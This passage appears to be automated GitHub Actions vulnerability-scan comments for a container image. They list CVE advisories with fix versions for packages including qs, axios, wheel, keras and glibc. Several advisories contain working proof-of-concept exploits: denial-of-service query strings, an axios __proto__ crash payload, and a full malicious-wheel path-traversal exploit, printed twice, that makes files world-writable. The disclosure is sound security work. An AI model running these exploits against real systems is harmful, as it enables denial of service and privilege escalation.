The bracket notation handler at line 159 uses utils.combine([], leaf) without validating against options.arrayLimit, while indexed notation at line 175 checks index <= options.arrayLimit before creating arrays.

PoC

Test 1 - Basic bypass:
npm install qs
const qs = require('qs');
const result = qs.parse('a[]=1&a[]=2&a[]=3&a[]=4&a[]=5&a[]=6', { arrayLimit: 5 });
console.log(result.a.length);  // Output: 6 (should be max 5)
Test 2 - DoS demonstration:
const qs = require('qs');
const attack = 'a[]=' + Array(10000).fill('x').join('&a[]=');
const result = qs.parse(attack, { arrayLimit: 100 });
console.log(result.a.length);  // Output: 10000 (should be max 100)
Configuration:

arrayLimit: 5 (test 1) or arrayLimit: 100 (test 2)

Use bracket notation: a[]=value (not indexed a[0]=value)

Impact

Denial of Service via memory exhaustion. Affects applications using qs.parse() with user-controlled input and arrayLimit for protection.

Attack scenario:

Attacker sends HTTP request: GET /api/search?filters[]=x&filters[]=x&...&filters[]=x (100,000+ times)

Application parses with qs.parse(query, { arrayLimit: 100 })

qs ignores limit, parses all 100,000 elements into array

Server memory exhausted → application crashes or becomes unresponsive

Service unavailable for all users

Real-world impact:

Single malicious request can crash server

No authentication required

Easy to automate and scale

Affects any endpoint parsing query strings with bracket notation

Suggested Fix

Add arrayLimit validation to the bracket notation handler. The code already calculates currentArrayLength at line 147-151, but it's not used in the bracket notation handler at line 159.

Current code (lib/parse.js:159-162):
if (root === '[]' && options.parseArrays) {
    obj = options.allowEmptyArrays && (leaf === '' || (options.strictNullHandling && leaf === null))
        ? []
        : utils.combine([], leaf);  // No arrayLimit check
}
Fixed code:
if (root === '[]' && options.parseArrays) {
    // Use currentArrayLength already calculated at line 147-151
    if (options.throwOnLimitExceeded && currentArrayLength >= options.arrayLimit) {
        throw new RangeError('Array limit exceeded. Only ' + options.arrayLimit + ' element' + (options.arrayLimit === 1 ? '' : 's') + ' allowed in an array.');
    }
    
    // If limit exceeded and not throwing, convert to object (consistent with indexed notation behavior)
    if (currentArrayLength >= options.arrayLimit) {
        obj = options.plainObjects ? { __proto__: null } : {};
        obj[currentArrayLength] = leaf;
    } else {
        obj = options.allowEmptyArrays && (leaf === '' || (options.strictNullHandling && leaf === null))
            ? []
            : utils.combine([], leaf);
    }
}
This makes bracket notation behaviour consistent with indexed notation, enforcing arrayLimit and converting to object when limit is exceeded (per README documentation).

github.com/slackhq/nebula 1.9.7 (golang)

pkg:golang/github.com/slackhq/nebula@1.9.7

Improper Verification of Cryptographic Signature

Affected range	`>=1.7.0 <=1.10.2`
Fixed version	`1.10.3`
CVSS Score	`7.6`
CVSS Vector	`CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N`
EPSS Score	`0.017%`
EPSS Percentile	`3rd percentile`

Description

Impact

When using P256 certificates (which is not the default configuration), it is possible to evade a blocklist entry created against the fingerprint of a certificate by using ECDSA Signature Malleability to use a copy of the certificate with a different fingerprint.

In order for this to affect a user or network, all of the following must be true:

CURVE_P256 certificates are being used

There are one or more entries on the blocklist

The certificates for those entries are signed by a trusted CA and not expired

An attacker has a copy of the private key, and corresponding certificate, for one of those blocklist entries

Patches

See attached

Workarounds

If full copies of each certificate on the existing blocklist are available, it is possible to compute their opposite-chirality signature, and then the appropriate second fingerprint to list in the blocklist.

Rotating out all CAs that have signed hosts on the blocklist will also prevent exploitation of this vulnerability.

stdlib 1.25.5 (golang)

pkg:golang/stdlib@1.25.5

Affected range	`>=1.25.0 <1.25.6`
Fixed version	`1.25.6`
EPSS Score	`0.023%`
EPSS Percentile	`6th percentile`

Description

The net/url package does not set a limit on the number of query parameters in a query.

While the maximum size of query parameters in URLs is generally limited by the maximum request header size, the net/http.Request.ParseForm method can parse large URL-encoded forms. Parsing a large form containing many unique query parameters can cause excessive memory consumption.

axios 1.12.2 (npm)

pkg:npm/axios@1.12.2

Improper Check for Unusual or Exceptional Conditions

Affected range	`<=1.13.4`
Fixed version	`1.13.5`
CVSS Score	`7.5`
CVSS Vector	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`

Description

Denial of Service via proto Key in mergeConfig

Summary

The mergeConfig function in axios crashes with a TypeError when processing configuration objects containing __proto__ as an own property. An attacker can trigger this by providing a malicious configuration object created via JSON.parse(), causing complete denial of service.

Details

The vulnerability exists in lib/core/mergeConfig.js at lines 98-101:
utils.forEach(Object.keys({ ...config1, ...config2 }), function computeConfigValue(prop) {
  const merge = mergeMap[prop] || mergeDeepProperties;
  const configValue = merge(config1[prop], config2[prop], prop);
  (utils.isUndefined(configValue) && merge !== mergeDirectKeys) || (config[prop] = configValue);
});
When prop is '__proto__':

JSON.parse('{"__proto__": {...}}') creates an object with __proto__ as an own enumerable property

Object.keys() includes '__proto__' in the iteration

mergeMap['__proto__'] performs prototype chain lookup, returning Object.prototype (truthy object)

The expression mergeMap[prop] || mergeDeepProperties evaluates to Object.prototype

Object.prototype(...) throws TypeError: merge is not a function

The mergeConfig function is called by:

Axios._request() at lib/core/Axios.js:75

Axios.getUri() at lib/core/Axios.js:201

All HTTP method shortcuts (get, post, etc.) at lib/core/Axios.js:211,224

PoC
import axios from "axios";

const maliciousConfig = JSON.parse('{"__proto__": {"x": 1}}');
await axios.get("https://httpbin.org/get", maliciousConfig);
Reproduction steps:

Clone axios repository or npm install axios

Create file poc.mjs with the code above

Run: node poc.mjs

Observe the TypeError crash

Verified output (axios 1.13.4):
TypeError: merge is not a function
    at computeConfigValue (lib/core/mergeConfig.js:100:25)
    at Object.forEach (lib/utils.js:280:10)
    at mergeConfig (lib/core/mergeConfig.js:98:9)
Control tests performed:

Test Config Result

Normal config {"timeout": 5000} SUCCESS

Malicious config JSON.parse('{"__proto__": {"x": 1}}') CRASH

Nested object {"headers": {"X-Test": "value"}} SUCCESS

Attack scenario:
An application that accepts user input, parses it with JSON.parse(), and passes it to axios configuration will crash when receiving the payload {"__proto__": {"x": 1}}.

Impact

Denial of Service - Any application using axios that processes user-controlled JSON and passes it to axios configuration methods is vulnerable. The application will crash when processing the malicious payload.

Affected environments:

Node.js servers using axios for HTTP requests

Any backend that passes parsed JSON to axios configuration

This is NOT prototype pollution - the application crashes before any assignment occurs.

github-actions · 2026-02-10T00:45:48Z

Overview

Image reference	`ghcr.io/mkaraki/illuststore-evaller:master`	`ghcr.io/mkaraki/illuststore-evaller:pr-188`
- digest	`43c419cbc930`	`f74af14ec3ab`
- tag	`master`	`pr-188`
- provenance	`bbac44a`	`5ad6af6`
- vulnerabilities
- platform	linux/amd64	linux/amd64
- size	923 MB	1.1 GB (+132 MB)
- packages	104	118 (+14)

Labels (5 changes)

± 5 changed

18 unchanged

-com.docker.dhi.chain-id=sha256:7fe2c93e3e869d932f4465ab05f579b0bbc5ad483b3de8828af723636d11e5bb
+com.docker.dhi.chain-id=sha256:1669f3facf3858c7f23a0ca6a73538a1c59b6dff96f6d96e293559412727e945
 com.docker.dhi.compliance=cis
-com.docker.dhi.created=2026-02-05T23:31:57Z
+com.docker.dhi.created=2026-02-09T04:20:39Z
 com.docker.dhi.date.end-of-life=2028-10-31
 com.docker.dhi.date.release=2023-10-02
 com.docker.dhi.definition=image/python/debian-13/3.12
 com.docker.dhi.distro=debian-13
 com.docker.dhi.flavor=
 com.docker.dhi.name=dhi/python
 com.docker.dhi.package-manager=
 com.docker.dhi.shell=
 com.docker.dhi.title=Python 3.12.x
 com.docker.dhi.url=https://dhi.io/catalog/python
 com.docker.dhi.variant=runtime
 com.docker.dhi.version=3.12.12-debian13
-org.opencontainers.image.created=2026-02-06T16:09:12.529Z
+org.opencontainers.image.created=2026-02-10T04:13:57.675Z
 org.opencontainers.image.description=AI powered illustration vault web app
 org.opencontainers.image.licenses=GPL-3.0
-org.opencontainers.image.revision=bbac44a5576fd9a034cff0d917dcf3ece006237b
+org.opencontainers.image.revision=5ad6af62dc219259389bfc95e0b6580da2b9b568
 org.opencontainers.image.source=https://github.com/mkaraki/IllustStore
 org.opencontainers.image.title=IllustStore
 org.opencontainers.image.url=https://github.com/mkaraki/IllustStore
-org.opencontainers.image.version=master
+org.opencontainers.image.version=pr-188

Policies (0 improved, 0 worsened, 3 missing data)

Policy Name	`ghcr.io/mkaraki/illuststore-evaller:master`	`ghcr.io/mkaraki/illuststore-evaller:pr-188`
Default non-root user	❓ No data	✅
No AGPL v3 licenses	❓ No data	✅
No fixable critical or high vulnerabilities	❓ No data	⚠️ 2
No high-profile vulnerabilities	❓ No data	✅
No outdated base images	❓ No data	❓ No data
No unapproved base images	❓ No data	❓ No data
SonarQube quality gates passed	❓ No data	❓ No data
Supply chain attestations	❓ No data	⚠️ 2

Packages and Vulnerabilities (14 package changes and 0 vulnerability changes)

➕ 14 packages added

101 packages unchanged

Changes for packages of type deb (14 changes)

	Package	Version `ghcr.io/mkaraki/illuststore-evaller:pr-188`
➕	bzip2	`1.0.8-6`
➕	db5.3	`5.3.28+dfsg2-9`
➕	gcc-14	`14.2.0-19`
➕	glibc	`2.41-12+deb13u1`
➕	gmp	`2:6.3.0+dfsg-3`
➕	libffi	`3.4.8-2`
➕	libxcrypt	`1:4.4.38-1`
➕	libzstd	`1.5.7+dfsg-1`
➕	ncurses	`6.5+20250216-2`
➕	readline	`8.2-6`
➕	sqlite3	`3.46.1-7`
➕	util-linux	`2.41-5`
➕	xz-utils	`5.8.1-1`
➕	zlib	`1:1.3.dfsg+really1.3.1-1`

github-actions · 2026-02-10T00:45:49Z

🔍 Vulnerabilities of `ghcr.io/mkaraki/illuststore-evaller:pr-188`

📦 Image Reference ghcr.io/mkaraki/illuststore-evaller:pr-188

digest	`sha256:f74af14ec3ab5abac9e04006a93d0025aea0e16bb24cb248890af35e0f1eac11`
vulnerabilities
platform	linux/amd64
size	1.1 GB
packages	118

wheel 0.45.1 (pypi)

pkg:pypi/wheel@0.45.1

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Affected range	`>=0.40.0 <=0.46.1`
Fixed version	`0.46.2`
CVSS Score	`7.1`
CVSS Vector	`CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H`
EPSS Score	`0.024%`
EPSS Percentile	`6th percentile`

Description

Summary

Vulnerability Type: Path Traversal (CWE-22) leading to Arbitrary File Permission Modification.
Root Cause Component: wheel.cli.unpack.unpack function.
Affected Packages:
1. wheel (Upstream source)
2. setuptools (Downstream, vendors wheel)
Severity: High (Allows modifying system file permissions).

Details

The vulnerability exists in how the unpack function handles file permissions after extraction. The code blindly trusts the filename from the archive header for the chmod operation, even though the extraction process itself might have sanitized the path.

# Vulnerable Code Snippet (present in both wheel and setuptools/_vendor/wheel)
for zinfo in wf.filelist:
    wf.extract(zinfo, destination)  # (1) Extraction is handled safely by zipfile

    # (2) VULNERABILITY:
    # The 'permissions' are applied to a path constructed using the UNSANITIZED 'zinfo.filename'.
    # If zinfo.filename contains "../", this targets files outside the destination.
    permissions = zinfo.external_attr >> 16 & 0o777
    destination.joinpath(zinfo.filename).chmod(permissions)

PoC

I have confirmed this exploit works against the unpack function imported from setuptools._vendor.wheel.cli.unpack.

Prerequisites: pip install setuptools

Step 1: Generate the Malicious Wheel (gen_poc.py)
This script creates a wheel that passes internal hash validation but contains a directory traversal payload in the file list.

import zipfile
import hashlib
import base64
import os

def urlsafe_b64encode(data):
    """
    Helper function to encode data using URL-safe Base64 without padding.
    Required by the Wheel file format specification.
    """
    return base64.urlsafe_b64encode(data).rstrip(b'=').decode('ascii')

def get_hash_and_size(data_bytes):
    """
    Calculates SHA-256 hash and size of the data.
    These values are required to construct a valid 'RECORD' file,
    which is used by the 'wheel' library to verify integrity.
    """
    digest = hashlib.sha256(data_bytes).digest()
    hash_str = "sha256=" + urlsafe_b64encode(digest)
    return hash_str, str(len(data_bytes))

def create_evil_wheel_v4(filename="evil-1.0-py3-none-any.whl"):
    print(f"[Generator V4] Creating 'Authenticated' Malicious Wheel: {filename}")

    # 1. Prepare Standard Metadata Content
    # These are minimal required contents to make the wheel look legitimate.
    wheel_content = b"Wheel-Version: 1.0\nGenerator: bdist_wheel (0.37.1)\nRoot-Is-Purelib: true\nTag: py3-none-any\n"
    metadata_content = b"Metadata-Version: 2.1\nName: evil\nVersion: 1.0\nSummary: PoC Package\n"
   
    # 2. Define Malicious Payload (Path Traversal)
    # The content doesn't matter, but the path does.
    payload_content = b"PWNED by Path Traversal"

    # [ATTACK VECTOR]: Target a file OUTSIDE the extraction directory using '../'
    # The vulnerability allows 'chmod' to affect this path directly.
    malicious_path = "../../poc_target.txt"

    # 3. Calculate Hashes for Integrity Check Bypass
    # The 'wheel' library verifies if the file hash matches the RECORD entry.
    # To bypass this check, we calculate the correct hash for our malicious file.
    wheel_hash, wheel_size = get_hash_and_size(wheel_content)
    metadata_hash, metadata_size = get_hash_and_size(metadata_content)
    payload_hash, payload_size = get_hash_and_size(payload_content)

    # 4. Construct the 'RECORD' File
    # The RECORD file lists all files in the wheel with their hashes.
    # CRITICAL: We explicitly register the malicious path ('../../poc_target.txt') here.
    # This tricks the 'wheel' library into treating the malicious file as a valid, verified component.
    record_lines = [
        f"evil-1.0.dist-info/WHEEL,{wheel_hash},{wheel_size}",
        f"evil-1.0.dist-info/METADATA,{metadata_hash},{metadata_size}",
        f"{malicious_path},{payload_hash},{payload_size}",  # <-- Authenticating the malicious path
        "evil-1.0.dist-info/RECORD,,"
    ]
    record_content = "\n".join(record_lines).encode('utf-8')

    # 5. Build the Zip File
    with zipfile.ZipFile(filename, "w") as zf:
        # Write standard metadata files
        zf.writestr("evil-1.0.dist-info/WHEEL", wheel_content)
        zf.writestr("evil-1.0.dist-info/METADATA", metadata_content)
        zf.writestr("evil-1.0.dist-info/RECORD", record_content)

        # [EXPLOIT CORE]: Manually craft ZipInfo for the malicious file
        # We need to set specific permission bits to trigger the vulnerability.
        zinfo = zipfile.ZipInfo(malicious_path)
       
        # Set external attributes to 0o777 (rwxrwxrwx)
        # Upper 16 bits: File type (0o100000 = Regular File)
        # Lower 16 bits: Permissions (0o777 = World Writable)
        # The vulnerable 'unpack' function will blindly apply this '777' to the system file.
        zinfo.external_attr = (0o100000 | 0o777) << 16
       
        zf.writestr(zinfo, payload_content)

    print("[Generator V4] Done. Malicious file added to RECORD and validation checks should pass.")

if __name__ == "__main__":
    create_evil_wheel_v4()

Step 2: Run the Exploit (exploit.py)

from pathlib import Path
import sys

# Demonstrating impact on setuptools
try:
    from setuptools._vendor.wheel.cli.unpack import unpack
    print("[*] Loaded unpack from setuptools")
except ImportError:
    from wheel.cli.unpack import unpack
    print("[*] Loaded unpack from wheel")

# 1. Setup Target (Read-Only system file simulation)
target = Path("poc_target.txt")
target.write_text("SENSITIVE CONFIG")
target.chmod(0o400) # Read-only
print(f"[*] Initial Perms: {oct(target.stat().st_mode)[-3:]}")

# 2. Run Vulnerable Unpack
# The wheel contains "../../poc_target.txt".
# unpack() will extract safely, BUT chmod() will hit the actual target file.
try:
    unpack("evil-1.0-py3-none-any.whl", "unpack_dest")
except Exception as e:
    print(f"[!] Ignored expected extraction error: {e}")

# 3. Check Result
final_perms = oct(target.stat().st_mode)[-3:]
print(f"[*] Final Perms: {final_perms}")

if final_perms == "777":
    print("VULNERABILITY CONFIRMED: Target file is now world-writable (777)!")
else:
    print("[-] Attack failed.")

result:

Impact

Attackers can craft a malicious wheel file that, when unpacked, changes the permissions of critical system files (e.g., /etc/passwd, SSH keys, config files) to 777. This allows for Privilege Escalation or arbitrary code execution by modifying now-writable scripts.

Recommended Fix

The unpack function must not use zinfo.filename for post-extraction operations. It should use the sanitized path returned by wf.extract().

Suggested Patch:

# extract() returns the actual path where the file was written
extracted_path = wf.extract(zinfo, destination)

# Only apply chmod if a file was actually written
if extracted_path:
    permissions = zinfo.external_attr >> 16 & 0o777
    Path(extracted_path).chmod(permissions)

keras 3.13.0 (pypi)

pkg:pypi/keras@3.13.0

Allocation of Resources Without Limits or Throttling

Affected range	`>=3.0.0 <=3.13.0`
Fixed version	`3.13.1`
CVSS Score	`7.1`
CVSS Vector	`CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N`
EPSS Score	`0.086%`
EPSS Percentile	`25th percentile`

Description

Allocation of Resources Without Limits or Throttling in the HDF5 weight loading component in Google Keras 3.0.0 through 3.13.0 on all platforms allows a remote attacker to cause a Denial of Service (DoS) through memory exhaustion and a crash of the Python interpreter via a crafted .keras archive containing a valid model.weights.h5 file whose dataset declares an extremely large shape.

github-actions · 2026-02-10T00:45:53Z

🔍 Vulnerabilities of `ghcr.io/mkaraki/illuststore-evaller:pr-188`

📦 Image Reference ghcr.io/mkaraki/illuststore-evaller:pr-188

digest	`sha256:f74af14ec3ab5abac9e04006a93d0025aea0e16bb24cb248890af35e0f1eac11`
vulnerabilities
platform	linux/amd64
size	1.1 GB
packages	118

keras 3.13.0 (pypi)

pkg:pypi/keras@3.13.0

Allocation of Resources Without Limits or Throttling

Affected range	`>=3.0.0 <=3.13.0`
Fixed version	`3.13.1`
CVSS Score	`7.1`
CVSS Vector	`CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N`
EPSS Score	`0.086%`
EPSS Percentile	`25th percentile`

Description

Allocation of Resources Without Limits or Throttling in the HDF5 weight loading component in Google Keras 3.0.0 through 3.13.0 on all platforms allows a remote attacker to cause a Denial of Service (DoS) through memory exhaustion and a crash of the Python interpreter via a crafted .keras archive containing a valid model.weights.h5 file whose dataset declares an extremely large shape.

wheel 0.45.1 (pypi)

pkg:pypi/wheel@0.45.1

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Affected range	`>=0.40.0 <=0.46.1`
Fixed version	`0.46.2`
CVSS Score	`7.1`
CVSS Vector	`CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H`
EPSS Score	`0.024%`
EPSS Percentile	`6th percentile`

Description

Summary

Vulnerability Type: Path Traversal (CWE-22) leading to Arbitrary File Permission Modification.
Root Cause Component: wheel.cli.unpack.unpack function.
Affected Packages:
1. wheel (Upstream source)
2. setuptools (Downstream, vendors wheel)
Severity: High (Allows modifying system file permissions).

Details

The vulnerability exists in how the unpack function handles file permissions after extraction. The code blindly trusts the filename from the archive header for the chmod operation, even though the extraction process itself might have sanitized the path.

# Vulnerable Code Snippet (present in both wheel and setuptools/_vendor/wheel)
for zinfo in wf.filelist:
    wf.extract(zinfo, destination)  # (1) Extraction is handled safely by zipfile

    # (2) VULNERABILITY:
    # The 'permissions' are applied to a path constructed using the UNSANITIZED 'zinfo.filename'.
    # If zinfo.filename contains "../", this targets files outside the destination.
    permissions = zinfo.external_attr >> 16 & 0o777
    destination.joinpath(zinfo.filename).chmod(permissions)

PoC

I have confirmed this exploit works against the unpack function imported from setuptools._vendor.wheel.cli.unpack.

Prerequisites: pip install setuptools

Step 1: Generate the Malicious Wheel (gen_poc.py)
This script creates a wheel that passes internal hash validation but contains a directory traversal payload in the file list.

import zipfile
import hashlib
import base64
import os

def urlsafe_b64encode(data):
    """
    Helper function to encode data using URL-safe Base64 without padding.
    Required by the Wheel file format specification.
    """
    return base64.urlsafe_b64encode(data).rstrip(b'=').decode('ascii')

def get_hash_and_size(data_bytes):
    """
    Calculates SHA-256 hash and size of the data.
    These values are required to construct a valid 'RECORD' file,
    which is used by the 'wheel' library to verify integrity.
    """
    digest = hashlib.sha256(data_bytes).digest()
    hash_str = "sha256=" + urlsafe_b64encode(digest)
    return hash_str, str(len(data_bytes))

def create_evil_wheel_v4(filename="evil-1.0-py3-none-any.whl"):
    print(f"[Generator V4] Creating 'Authenticated' Malicious Wheel: {filename}")

    # 1. Prepare Standard Metadata Content
    # These are minimal required contents to make the wheel look legitimate.
    wheel_content = b"Wheel-Version: 1.0\nGenerator: bdist_wheel (0.37.1)\nRoot-Is-Purelib: true\nTag: py3-none-any\n"
    metadata_content = b"Metadata-Version: 2.1\nName: evil\nVersion: 1.0\nSummary: PoC Package\n"
   
    # 2. Define Malicious Payload (Path Traversal)
    # The content doesn't matter, but the path does.
    payload_content = b"PWNED by Path Traversal"

    # [ATTACK VECTOR]: Target a file OUTSIDE the extraction directory using '../'
    # The vulnerability allows 'chmod' to affect this path directly.
    malicious_path = "../../poc_target.txt"

    # 3. Calculate Hashes for Integrity Check Bypass
    # The 'wheel' library verifies if the file hash matches the RECORD entry.
    # To bypass this check, we calculate the correct hash for our malicious file.
    wheel_hash, wheel_size = get_hash_and_size(wheel_content)
    metadata_hash, metadata_size = get_hash_and_size(metadata_content)
    payload_hash, payload_size = get_hash_and_size(payload_content)

    # 4. Construct the 'RECORD' File
    # The RECORD file lists all files in the wheel with their hashes.
    # CRITICAL: We explicitly register the malicious path ('../../poc_target.txt') here.
    # This tricks the 'wheel' library into treating the malicious file as a valid, verified component.
    record_lines = [
        f"evil-1.0.dist-info/WHEEL,{wheel_hash},{wheel_size}",
        f"evil-1.0.dist-info/METADATA,{metadata_hash},{metadata_size}",
        f"{malicious_path},{payload_hash},{payload_size}",  # <-- Authenticating the malicious path
        "evil-1.0.dist-info/RECORD,,"
    ]
    record_content = "\n".join(record_lines).encode('utf-8')

    # 5. Build the Zip File
    with zipfile.ZipFile(filename, "w") as zf:
        # Write standard metadata files
        zf.writestr("evil-1.0.dist-info/WHEEL", wheel_content)
        zf.writestr("evil-1.0.dist-info/METADATA", metadata_content)
        zf.writestr("evil-1.0.dist-info/RECORD", record_content)

        # [EXPLOIT CORE]: Manually craft ZipInfo for the malicious file
        # We need to set specific permission bits to trigger the vulnerability.
        zinfo = zipfile.ZipInfo(malicious_path)
       
        # Set external attributes to 0o777 (rwxrwxrwx)
        # Upper 16 bits: File type (0o100000 = Regular File)
        # Lower 16 bits: Permissions (0o777 = World Writable)
        # The vulnerable 'unpack' function will blindly apply this '777' to the system file.
        zinfo.external_attr = (0o100000 | 0o777) << 16
       
        zf.writestr(zinfo, payload_content)

    print("[Generator V4] Done. Malicious file added to RECORD and validation checks should pass.")

if __name__ == "__main__":
    create_evil_wheel_v4()

Step 2: Run the Exploit (exploit.py)

from pathlib import Path
import sys

# Demonstrating impact on setuptools
try:
    from setuptools._vendor.wheel.cli.unpack import unpack
    print("[*] Loaded unpack from setuptools")
except ImportError:
    from wheel.cli.unpack import unpack
    print("[*] Loaded unpack from wheel")

# 1. Setup Target (Read-Only system file simulation)
target = Path("poc_target.txt")
target.write_text("SENSITIVE CONFIG")
target.chmod(0o400) # Read-only
print(f"[*] Initial Perms: {oct(target.stat().st_mode)[-3:]}")

# 2. Run Vulnerable Unpack
# The wheel contains "../../poc_target.txt".
# unpack() will extract safely, BUT chmod() will hit the actual target file.
try:
    unpack("evil-1.0-py3-none-any.whl", "unpack_dest")
except Exception as e:
    print(f"[!] Ignored expected extraction error: {e}")

# 3. Check Result
final_perms = oct(target.stat().st_mode)[-3:]
print(f"[*] Final Perms: {final_perms}")

if final_perms == "777":
    print("VULNERABILITY CONFIRMED: Target file is now world-writable (777)!")
else:
    print("[-] Attack failed.")

result:

Impact

Attackers can craft a malicious wheel file that, when unpacked, changes the permissions of critical system files (e.g., /etc/passwd, SSH keys, config files) to 777. This allows for Privilege Escalation or arbitrary code execution by modifying now-writable scripts.

Recommended Fix

The unpack function must not use zinfo.filename for post-extraction operations. It should use the sanitized path returned by wf.extract().

Suggested Patch:

# extract() returns the actual path where the file was written
extracted_path = wf.extract(zinfo, destination)

# Only apply chmod if a file was actually written
if extracted_path:
    permissions = zinfo.external_attr >> 16 & 0o777
    Path(extracted_path).chmod(permissions)

python 3.12.12 (dhi)

pkg:dhi/python@3.12.12

Affected range	`<3.13.11`
Fixed version	`3.14.1`
EPSS Score	`0.107%`
EPSS Percentile	`29th percentile`

Description

When reading an HTTP response from a server, if no read amount is specified, the default behavior will be to use Content-Length. This allows a malicious server to cause the client to read large amounts of data into memory, potentially causing OOM or other DoS.

Affected range	`<3.13.11`
Fixed version	`3.13.11`
EPSS Score	`0.090%`
EPSS Percentile	`26th percentile`

Description

When building nested elements using xml.dom.minidom methods such as appendChild() that have a dependency on _clear_id_cache() the algorithm is quadratic. Availability can be impacted when building excessively nested documents.

Affected range	`<3.13.10`
Fixed version	`3.13.10`
EPSS Score	`0.022%`
EPSS Percentile	`5th percentile`

Description

When loading a plist file, the plistlib module reads data in size specified by the file itself, meaning a malicious file can cause OOM and DoS issues

glibc 2.41-12+deb13u1 (deb)

pkg:deb/debian/glibc@2.41-12%2Bdeb13u1?os_distro=trixie&os_name=debian&os_version=13

Affected range	`<=2.41-12+deb13u1`
Fixed version	Not Fixed
EPSS Score	`0.841%`
EPSS Percentile	`74th percentile`

Description

In the GNU C Library (aka glibc or libc6) through 2.29, check_dst_limits_calc_pos_1 in posix/regexec.c has Uncontrolled Recursion, as demonstrated by '(|)(\1\1)*' in grep, a different issue than CVE-2018-20796. NOTE: the software maintainer disputes that this is a vulnerability because the behavior occurs only with a crafted pattern

glibc (unimportant)

eglibc (unimportant)
https://sourceware.org/bugzilla/show_bug.cgi?id=24269

Affected range	`<=2.41-12+deb13u1`
Fixed version	Not Fixed
EPSS Score	`1.239%`
EPSS Percentile	`79th percentile`

Description

GNU Libc current is affected by: Mitigation bypass. The impact is: Attacker may guess the heap addresses of pthread_created thread. The component is: glibc. NOTE: the vendor's position is "ASLR bypass itself is not a vulnerability.

glibc (unimportant)
Not treated as a security issue by upstream
https://sourceware.org/bugzilla/show_bug.cgi?id=22853

Affected range	`<=2.41-12+deb13u1`
Fixed version	Not Fixed
EPSS Score	`0.646%`
EPSS Percentile	`70th percentile`

Description

GNU Libc current is affected by: Mitigation bypass. The impact is: Attacker may bypass ASLR using cache of thread stack and heap. The component is: glibc. NOTE: Upstream comments indicate "this is being treated as a non-security bug and no real threat.

glibc (unimportant)
Not treated as a security issue by upstream
https://sourceware.org/bugzilla/show_bug.cgi?id=22852

Affected range	`<=2.41-12+deb13u1`
Fixed version	Not Fixed
EPSS Score	`0.313%`
EPSS Percentile	`54th percentile`

Description

GNU Libc current is affected by: Re-mapping current loaded library with malicious ELF file. The impact is: In worst case attacker may evaluate privileges. The component is: libld. The attack vector is: Attacker sends 2 ELF files to victim and asks to run ldd on it. ldd execute code. NOTE: Upstream comments indicate "this is being treated as a non-security bug and no real threat.

glibc (unimportant)
Not treated as a security issue by upstream
https://sourceware.org/bugzilla/show_bug.cgi?id=22851

Affected range	`<=2.41-12+deb13u1`
Fixed version	Not Fixed
EPSS Score	`0.131%`
EPSS Percentile	`33rd percentile`

Description

GNU Libc current is affected by: Mitigation bypass. The impact is: Attacker may bypass stack guard protection. The component is: nptl. The attack vector is: Exploit stack buffer overflow vulnerability and use this bypass vulnerability to bypass stack guard. NOTE: Upstream comments indicate "this is being treated as a non-security bug and no real threat.

glibc (unimportant)
Not treated as a security issue by upstream
https://sourceware.org/bugzilla/show_bug.cgi?id=22850

Affected range	`<=2.41-12+deb13u1`
Fixed version	Not Fixed
EPSS Score	`1.492%`
EPSS Percentile	`81st percentile`

Description

In the GNU C Library (aka glibc or libc6) through 2.29, check_dst_limits_calc_pos_1 in posix/regexec.c has Uncontrolled Recursion, as demonstrated by '(\227|)(\1\1|t1|\\2537)+' in grep.

glibc (unimportant)

eglibc (unimportant)
https://debbugs.gnu.org/cgi/bugreport.cgi?bug=34141
https://lists.gnu.org/archive/html/bug-gnulib/2019-01/msg00108.html
No treated as vulnerability: https://sourceware.org/glibc/wiki/Security%20Exceptions

Affected range	`<=2.41-12+deb13u1`
Fixed version	Not Fixed
EPSS Score	`0.394%`
EPSS Percentile	`60th percentile`

Description

The glob implementation in the GNU C Library (aka glibc or libc6) allows remote authenticated users to cause a denial of service (CPU and memory consumption) via crafted glob expressions that do not match any pathnames, as demonstrated by glob expressions in STAT commands to an FTP daemon, a different vulnerability than CVE-2010-2632.

glibc (unimportant)

eglibc (unimportant)
That's standard POSIX behaviour implemented by (e)glibc. Applications using
glob need to impose limits for themselves

sqlite3 3.46.1-7 (deb)

pkg:deb/debian/sqlite3@3.46.1-7?os_distro=trixie&os_name=debian&os_version=13

Affected range	`<=3.46.1-7`
Fixed version	Not Fixed
EPSS Score	`0.378%`
EPSS Percentile	`59th percentile`

Description

A Memory Leak vulnerability exists in SQLite Project SQLite3 3.35.1 and 3.37.0 via maliciously crafted SQL Queries (made via editing the Database File), it is possible to query a record, and leak subsequent bytes of memory that extend beyond the record, which could let a malicious user obtain sensitive information. NOTE: The developer disputes this as a vulnerability stating that If you give SQLite a corrupted database file and submit a query against the database, it might read parts of the database that you did not intend or expect.

sqlite3 (unimportant; bug https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1005974)

sqlite (unimportant)
https://github.com/guyinatuxedo/sqlite3_record_leaking
https://bugzilla.redhat.com/show_bug.cgi?id=2054793
https://sqlite.org/forum/forumpost/056d557c2f8c452ed5bb9c215414c802b215ce437be82be047726e521342161e
Negligible security impact

util-linux 2.41-5 (deb)

pkg:deb/debian/util-linux@2.41-5?os_distro=trixie&os_name=debian&os_version=13

Affected range	`<=2.41-5`
Fixed version	Not Fixed
EPSS Score	`0.020%`
EPSS Percentile	`4th percentile`

Description

A flaw was found in the util-linux chfn and chsh utilities when compiled with Readline support. The Readline library uses an "INPUTRC" environment variable to get a path to the library config file. When the library cannot parse the specified file, it prints an error message containing data from the file. This flaw allows an unprivileged user to read root-owned files, potentially leading to privilege escalation. This flaw affects util-linux versions prior to 2.37.4.

util-linux (unimportant)
https://bugzilla.redhat.com/show_bug.cgi?id=2053151
https://lore.kernel.org/util-linux/20220214110609.msiwlm457ngoic6w@ws.net.home/T/#u
util-linux/util-linux@faa5a3a
util-linux in Debian does build with readline support but chfn and chsh are provided
